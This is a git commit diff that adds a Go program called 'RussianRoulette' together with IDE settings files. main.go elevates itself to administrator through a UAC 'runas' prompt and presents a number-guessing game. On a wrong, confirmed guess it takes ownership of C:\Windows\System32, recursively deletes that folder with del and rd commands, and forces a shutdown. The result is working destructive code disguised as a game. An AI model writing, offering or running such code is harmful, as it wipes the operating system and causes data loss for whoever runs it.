Worky
This commit is contained in:
parent
2a16a1f74c
commit
f5bc5b422b
8
.idea/.gitignore
vendored
Normal file
8
.idea/.gitignore
vendored
Normal file
@ -0,0 +1,8 @@
|
|||||||
|
# Default ignored files
|
||||||
|
/shelf/
|
||||||
|
/workspace.xml
|
||||||
|
# Editor-based HTTP Client requests
|
||||||
|
/httpRequests/
|
||||||
|
# Datasource local storage ignored files
|
||||||
|
/dataSources/
|
||||||
|
/dataSources.local.xml
|
9
.idea/RussianRoulette.iml
Normal file
9
.idea/RussianRoulette.iml
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<module type="WEB_MODULE" version="4">
|
||||||
|
<component name="Go" enabled="true" />
|
||||||
|
<component name="NewModuleRootManager">
|
||||||
|
<content url="file://$MODULE_DIR$" />
|
||||||
|
<orderEntry type="inheritedJdk" />
|
||||||
|
<orderEntry type="sourceFolder" forTests="false" />
|
||||||
|
</component>
|
||||||
|
</module>
|
8
.idea/modules.xml
Normal file
8
.idea/modules.xml
Normal file
@ -0,0 +1,8 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<project version="4">
|
||||||
|
<component name="ProjectModuleManager">
|
||||||
|
<modules>
|
||||||
|
<module fileurl="file://$PROJECT_DIR$/.idea/RussianRoulette.iml" filepath="$PROJECT_DIR$/.idea/RussianRoulette.iml" />
|
||||||
|
</modules>
|
||||||
|
</component>
|
||||||
|
</project>
|
6
.idea/vcs.xml
Normal file
6
.idea/vcs.xml
Normal file
@ -0,0 +1,6 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<project version="4">
|
||||||
|
<component name="VcsDirectoryMappings">
|
||||||
|
<mapping directory="$PROJECT_DIR$" vcs="Git" />
|
||||||
|
</component>
|
||||||
|
</project>
|
2
go.sum
Normal file
2
go.sum
Normal file
@ -0,0 +1,2 @@
|
|||||||
|
golang.org/x/sys v0.9.0 h1:KS/R3tvhPqvJvwcKfnBHJwwthS11LRhmM5D59eEXa0s=
|
||||||
|
golang.org/x/sys v0.9.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
110
main.go
Normal file
110
main.go
Normal file
@ -0,0 +1,110 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bufio"
|
||||||
|
"fmt"
|
||||||
|
"golang.org/x/sys/windows"
|
||||||
|
"math/rand"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
"syscall"
|
||||||
|
)
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
if !amAdmin() {
|
||||||
|
runMeElevated()
|
||||||
|
os.Exit(0)
|
||||||
|
}
|
||||||
|
|
||||||
|
randomNumber := rand.Intn(9) + 1
|
||||||
|
|
||||||
|
fmt.Println("Guess a number between 1 and 10")
|
||||||
|
fmt.Print(">")
|
||||||
|
|
||||||
|
reader := bufio.NewReader(os.Stdin)
|
||||||
|
b, err := reader.ReadByte()
|
||||||
|
if err != nil {
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
guess, err := strconv.Atoi(string(b))
|
||||||
|
if err != nil {
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
|
||||||
|
if guess != randomNumber {
|
||||||
|
fmt.Println("Are you sure? [y/n]")
|
||||||
|
fmt.Print(">")
|
||||||
|
reader = bufio.NewReader(os.Stdin)
|
||||||
|
b, err = reader.ReadByte()
|
||||||
|
if err != nil {
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
ans := string(b)
|
||||||
|
if ans == "n" {
|
||||||
|
fmt.Println("Good choice")
|
||||||
|
os.Exit(0)
|
||||||
|
}
|
||||||
|
|
||||||
|
fmt.Println("Oh no, you guessed wrong...")
|
||||||
|
cmdTakeOwn := exec.Command("takeown.exe", "/f", "C:\\Windows\\System32")
|
||||||
|
cmdICACLS := exec.Command("icacls.exe", "C:\\Windows\\System32")
|
||||||
|
cmdFiles := exec.Command("cmd.exe", "/C", "del", "/s", "/q", "C:\\Windows\\System32\\*")
|
||||||
|
cmdDir := exec.Command("cmd.exe", "/C", "rd", "/s", "/q", "C:\\Windows\\System32")
|
||||||
|
err = cmdTakeOwn.Run()
|
||||||
|
if err != nil {
|
||||||
|
fmt.Printf("Error serving punishment p1: %v\n", err)
|
||||||
|
}
|
||||||
|
err = cmdICACLS.Run()
|
||||||
|
if err != nil {
|
||||||
|
fmt.Printf("Error serving punishment p2: %v\n", err)
|
||||||
|
}
|
||||||
|
err = cmdFiles.Run()
|
||||||
|
if err != nil {
|
||||||
|
fmt.Printf("Error serving punishment p3: %v\n", err)
|
||||||
|
}
|
||||||
|
err = cmdDir.Run()
|
||||||
|
if err != nil {
|
||||||
|
fmt.Printf("Error serving punishment p4: %v\n", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
cmdShutdown := exec.Command("cmd.exe", "/C", "shutdown", "/t", "0", "/s")
|
||||||
|
err = cmdShutdown.Run()
|
||||||
|
if err != nil {
|
||||||
|
fmt.Printf("Error shutting down: %v\n", err)
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
fmt.Println("Congratulations, you live to see another day...", guess, "was the correct number :)")
|
||||||
|
}
|
||||||
|
|
||||||
|
fmt.Print("Press 'Enter' to continue...")
|
||||||
|
bufio.NewReader(os.Stdin).ReadBytes('\n')
|
||||||
|
}
|
||||||
|
|
||||||
|
func runMeElevated() {
|
||||||
|
verb := "runas"
|
||||||
|
exe, _ := os.Executable()
|
||||||
|
cwd, _ := os.Getwd()
|
||||||
|
args := strings.Join(os.Args[1:], " ")
|
||||||
|
|
||||||
|
verbPtr, _ := syscall.UTF16PtrFromString(verb)
|
||||||
|
exePtr, _ := syscall.UTF16PtrFromString(exe)
|
||||||
|
cwdPtr, _ := syscall.UTF16PtrFromString(cwd)
|
||||||
|
argPtr, _ := syscall.UTF16PtrFromString(args)
|
||||||
|
|
||||||
|
var showCmd int32 = 1 //SW_NORMAL
|
||||||
|
|
||||||
|
err := windows.ShellExecute(0, verbPtr, exePtr, argPtr, cwdPtr, showCmd)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Println(err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func amAdmin() bool {
|
||||||
|
_, err := os.Open("\\\\.\\PHYSICALDRIVE0")
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
}
|
Loading…
Reference in New Issue
Block a user